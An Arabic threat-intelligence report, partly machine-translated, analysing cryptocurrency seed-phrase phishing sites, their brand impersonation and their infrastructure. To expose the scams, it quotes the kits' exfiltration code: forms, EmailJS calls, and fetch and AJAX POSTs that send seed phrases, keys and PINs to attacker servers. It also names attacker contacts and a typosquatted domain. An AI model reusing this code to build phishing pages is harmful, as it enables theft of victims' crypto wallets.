تحليل عمليات التصيد الاحتيالي المتعلقة بالعملات المشفرة:
تحليل 8 هجمات حقيقية

انتحال الشخصية

«بروتوكول لامركزي» خيالي للتحقق من صحة المحافظ. يستخدم شريط أسعار CryptoCompare المباشر وروابط إلى مستكشفات بلوكشين حقيقية (إيثريوم، BSC، Polygon، Avalanche، Solana، Cardano) لتعزيز المصداقية. تضم الصفحة الرئيسية أكثر من 100 شعار لمحافظ رقمية وعملية «التحقق» المكونة من 3 خطوات.

سلسلة التسريب المزدوجة

أكثر أنظمة الخلفية تطوراً من بين الخمسة جميعها — حيث يتم إرسال كل بيانات اعتماد مسروقة عبر قناتان مستقلتان في الوقت نفسه:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

نتائج الاستخبارات المستمدة من المصادر المفتوحة (OSINT)

انتحال الشخصية

نسخة مطابقة تمامًا للواقع حتى على مستوى البكسل أكواليبري (AQLA) صفحة ترحيل الرموز. يحتوي كود HTML على علامة بيانات وصفية تكشف عن المصدر: data-scrapbook-source="https://token.aqla.app/migration"، بتاريخ 19 نوفمبر 2024.

نهج «صفر كود»

يتطلب هذا المهاجم لا يوجد أي كود من جانب الخادم. يتم إرسال النموذج مباشرةً إلى غير ثابت — نظام إدارة النماذج الشرعي للمواقع الثابتة. يتم إعادة توجيه كل إرسال إلى البريد الإلكتروني للمحتال. عنوان البريد الإلكتروني للمهاجم هو لا تظهر أبدًا في شفرة المصدر.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

انتحال الشخصية

يحتوي النطاق الفرعي على "safpal" — وهو خطأ إملائي متعمد في SafePal، وهي محفظة أجهزة شهيرة. يتظاهر الموقع بأنه "Blockchain Wallet Rectification" ويضم 26 فئة موضوعية مزيفة. ويستخدم Typed.js لـ تحريك أسماء السلاسل (إيثريوم، BSC، Polygon...) بالإضافة إلى شريط أخبار LiveCoinWatch لإضفاء المصداقية.

نفس المعدات، نفس المشغل؟

يستخدم نفس قالب التصيد بالضبط كما في الموقع رقم 2: مطابق تمامًا connect.html، متطابق wallets.html مع أكثر من 60 شعارًا، ونفس البنية الخلفية لـ Un-static (مع معرّف نموذج مختلف — 6f1b82c3...da9943af). تشير هذه المجموعة المتطابقة بقوة إلى مشغل واحد يدير كلا الموقعين.

أخطاء في النص: "Privay Policy" (ينقص الحرف 'c')، "seperated" (يجب أن تكون "separated")، "Kestore" (ينقص الحرف 'y'). حقل كلمة المرور يستخدم type="text" بدلاً من type="password".

انتحال الشخصية

نسخة مطابقة تقريبًا من شبكة Flare البوابة — بلوكشين EVM حقيقي من الطبقة الأولى مزود ببروتوكولي FTSO و Data Connector. يحاكي أكثر من 30 شريكًا في النظام البيئي، بالإضافة إلى خصائص التنقل والعلامة التجارية. يتم تحميل أيقونات المواقع من موقع يستغل الأخطاء الإملائية: portal.flaremainet.com (ينقص حرف «n» واحد من كلمة «mainnet»).

التكرار المزدوج لـ EmailJS

الموقع الوحيد الذي يستخدم حسابان منفصلان على EmailJS في آن واحد لتوفير التكرار لمنع عمليات الإزالة:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

موضوع البريد الإلكتروني الخاص بكل حالة سرقة: "New Wallet Details from Flare".

الموقع رقم 4: الإعلانات المدفوعة، وتتبع التحليلات، والتسريب المزدوج — العملية الأكثر احترافية

انتحال الشخصية

خدمة عامة باسم «COIN NODE» / «Wallet Fix» (بدون علامة تجارية محددة). حقوق النشر محفوظة لـ «Wallet Fix 2022» — يبلغ عمر قالب هذه المجموعة 4 سنوات على الأقل. الصور مستضافة على pumpeth.com (WordPress على AWS).

التصيد الاحتيالي كخدمة

البنية الخلفية الأكثر إثارة للقلق: أ واجهة برمجة تطبيقات متعددة المستأجرين تعتمد على UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

يحصل كل محتال على نقطة نهاية UUID خاصة به. ويقوم مشغل مركزي بإدارة واجهة برمجة التطبيقات (API)، وتتبع الحملات، وربما يحصل على حصة من الأموال المسروقة. وهذا هو سرقة العملات المشفرة على نطاق صناعي — نموذج «التصيد الاحتيالي كخدمة».

البنية التحتية ذات الصلة (معظمها معطلة)

انتحال الشخصية

A عملية ذات شقين: «مركز الدعم» العام على wallet-support-39n.pages.dev مع 15 فئة إصدار مزيفة و39 علامة تجارية للمحافظ، بالإضافة إلى نسخة مطابقة تمامًا من عملية التسجيل في Ledger في ledger-recovery.support مستضاف على Replit — ويشمل اختيار طراز الجهاز، وإعداد رقم التعريف الشخصي (PIN)، وشبكة عبارة البذرة المكونة من 24 كلمة مع ميزة الإكمال التلقائي الحقيقية لـ BIP39.

الخلفية C2 لمكافحة الماسح الضوئي

تقوم صفحة دعم المحفظة بإرسال البيانات المسروقة إلى api.uranustoken.org/log — خادم تحكم (C2) مخصص يعمل بنظامي nginx وUbuntu خلف Cloudflare. الخلفية يقوم عمدًا بإسقاط جميع طلبات GET (تُرجع خطأ 522: انتهت مهلة الانتظار)، ولا تستجيب إلا لطلبات POST. وهذا يعني أن أدوات فحص عناوين URL، وروبوتات التصفح من Google Safe Browsing، والباحثين في مجال الأمن الذين يختبرون اتصال نقطة النهاية باستخدام طلب GET لا يرون شيئًا — فتبدو نقطة التحكم (C2) معطلة.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

يعمل نسخة «Ledger» على تشغيل نظام خلفي منفصل يعمل بتقنية Express.js على منصة Replit نفسها: POST /api/recovery-phrase جمع {deviceId, pin, phrase}. وتُرجع 400 {"error":"Invalid data provided"} في حالة وجود مدخلات غير صحيحة — للتأكد من أن النظام الخلفي مباشر وقيد التحقق الفعلي البيانات المسروقة.

نتائج الاستخبارات المستمدة من المصادر المفتوحة (OSINT)

انتحال الشخصية

منصة إطلاق لامركزية عامة تتميز بـ 21 فئة من الطُعم (الاستثمار، الترحيل، إجراءات "اعرف عميلك" (KYC)، المسابقات، المطالبة بالمكافآت، استرداد الأصول، البيع المسبق، إصدار الرموز غير القابلة للاستبدال (NFT)، الحسابات المجمدة...) و أكثر من 70 علامة تجارية للمحافظ — إحدى أكثر قوائم المحافظ شمولاً التي صادفناها. والخطأ المطبعي الدال «Sychronize» (حيث ينقص الحرف «n») يكشف عن كونها مزيفة.

Pipeline «FormSubmit»

الاستخدامات FormSubmit.co — خدمة شرعية لإرسال النماذج عبر البريد الإلكتروني. تجزئة نقطة النهاية a2cf4131f1a5d39453c7c183df96f86f هو قيمة MD5 لعنوان البريد الإلكتروني الخاص بالمحتال. قمنا باختبار مئات أنماط عناوين البريد الإلكتروني عبر خدمات Gmail وYahoo وHotmail وProtonMail وYandex وMail.ru باستخدام طريقة الهجوم العشوائي — لا توجد نتائج مطابقة. يستخدم المحتال عنوان بريد إلكتروني غير شائع أو تم إنشاؤه عشوائياً.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

نتائج الاستخبارات المستمدة من المصادر المفتوحة (OSINT)

انتحال الشخصية

غير معروف — كل من الواجهة الأمامية والخلفية غير متصلتين بالإنترنت. وبناءً على بنية الحمولة، كان هذا هجومًا لسرقة عبارة البذرة الخاصة بمحفظة العملات المشفرة. الـ المخزن العام لـ Cloudflare R2 (التخزين المادي، وليس «Pages») هو وسيلة تصيد موثقة جيدًا حيث تم تحديد أكثر من 5,000 صفحة ضارة، وأفادت شركة Netskope بزيادة في حركة المرور بمقدار 61 ضعفًا.

إعدادات «سكريبت كيدي»

الأكثر عملية أولية في هذه المجموعة. يتم إرسال عبارات البذور كلمة بكلمة إلى برنامج PHP يعمل على جهاز كمبيوتر منزلي أو خادم خاص افتراضي (VPS) عبر خدمة DNS مجانية:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

نتائج الاستخبارات المستمدة من المصادر المفتوحة (OSINT)